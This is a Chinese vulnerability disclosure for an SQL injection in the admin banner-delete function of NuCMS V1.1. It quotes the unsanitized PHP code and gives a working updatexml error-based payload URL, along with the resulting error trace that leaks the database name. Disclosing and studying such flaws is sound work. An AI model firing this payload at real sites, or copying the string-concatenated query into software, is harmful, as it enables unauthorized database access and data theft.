

NUCMS V1.1 SQL注入

漏洞简介:

NuCMS内容管理系统是国内优秀开源网站管理系统，基于 PHP+MYSQL 的技术开发。使用国内著名开源PHP框架开发，轻量级架构，多应用化开发方式，无任何技术门槛，使得开发人员更容易上手。注重后台管理界面，采用jQuery和CSS3界面设计，兼容IE8及以上主流浏览器后台管理界面。是聊城领胜网络科技有限公司旗下一个开源程序产品，其宗旨是为更多的开发者人员提供优质的程序使用。 <http://www.nucms.cn/>

漏洞分析:

漏洞文件在: \WWW\App\Admin\Controller\BannerController.class.php

```
public function del(){
    $id=I('id');
    if($id==''){
        $this->error('请选择您要删除的内容! ');
    }
    $banner=D('banner');
    //判断id是数组还是一个数值
    if(is_array($id)){
        $where = 'id in(' . implode(',', $id) . ')';
    }else{
```

```
$where = 'id='.$id; } $list=$banner->where($where)->delete(); if($list!==false) { $this->success("成功删除{$list}条! ",U('index')); }else{ $this->error('删除失败! '); }
```

```
}
```

这里只判断 id 是否为空，如果不为空，则进入sql语句查询。因为 id参数没有任何过滤，并且sql语句没有用单引号引起参数。导致sql注入漏洞

漏洞证明:

用管理员权限登录网站后台，访问下面的URL

payload:

```
http://localhost/admin.php?
m=Admin&c=Banner&a=del&id=-1)%20or%20updatexml(1,concat(0x7e,(database())),0)%23
```

localhost/admin.php?m=Admin&c=Banner&a=del&id=-1) or updatexml(1,concat(0x7e,(database())),0)%23

搜索

:

1105:XPath syntax error: '~nucms [SQL语句] : DELETE FROM `nu_banner` WHERE (id=-1) or updatexml(1,concat(0x7e,(database())),0)#)

错误位置
FILE: D:\phpStudy\WWW\Core\Library\Think\Db\Driver.class.php LINE: 350

TRACE
#0 D:\phpStudy\WWW\Core\Library\Think\Db\Driver.class.php(350): E(1105:XPath synt...)
#1 D:\phpStudy\WWW\Core\Library\Think\Db\Driver.class.php(237): Think\Db\Driver->error()
#2 D:\phpStudy\WWW\Core\Library\Think\Db\Driver.class.php(933): Think\Db\Driver->execute("DELETE FROM `nu...", false)
#3 D:\phpStudy\WWW\Core\Library\Think\Model.class.php(518): Think\Db\Driver->delete(Array)
#4 D:\phpStudy\WWW\App\Admin\Controller\BannerController.class.php(92): Think\Model->delete()
#5 [internal function]: Admin\Controller\BannerController->del()
#6 D:\phpStudy\WWW\Core\Library\Think\App.class.php(173): ReflectionMethod->invoke(Object(Admin\Controller\BannerController))
#7 D:\phpStudy\WWW\Core\Library\Think\App.class.php(110): Think\App::invokeAction(Object(Admin\Controller\BannerController), 'del')
#8 D:\phpStudy\WWW\Core\Library\Think\App.class.php(205): Think\App::exec()
#9 D:\phpStudy\WWW\Core\Library\Think\Think.class.php(120): Think\App::run()
#10 D:\phpStudy\WWW\Core\Think.php(97): Think\Think::start()
#11 D:\phpStudy\WWW\admin.php(22): require("D:\phpStudy\WWW...")
#12 (main)

Powered by Nucms

成功注入出当前数据库名。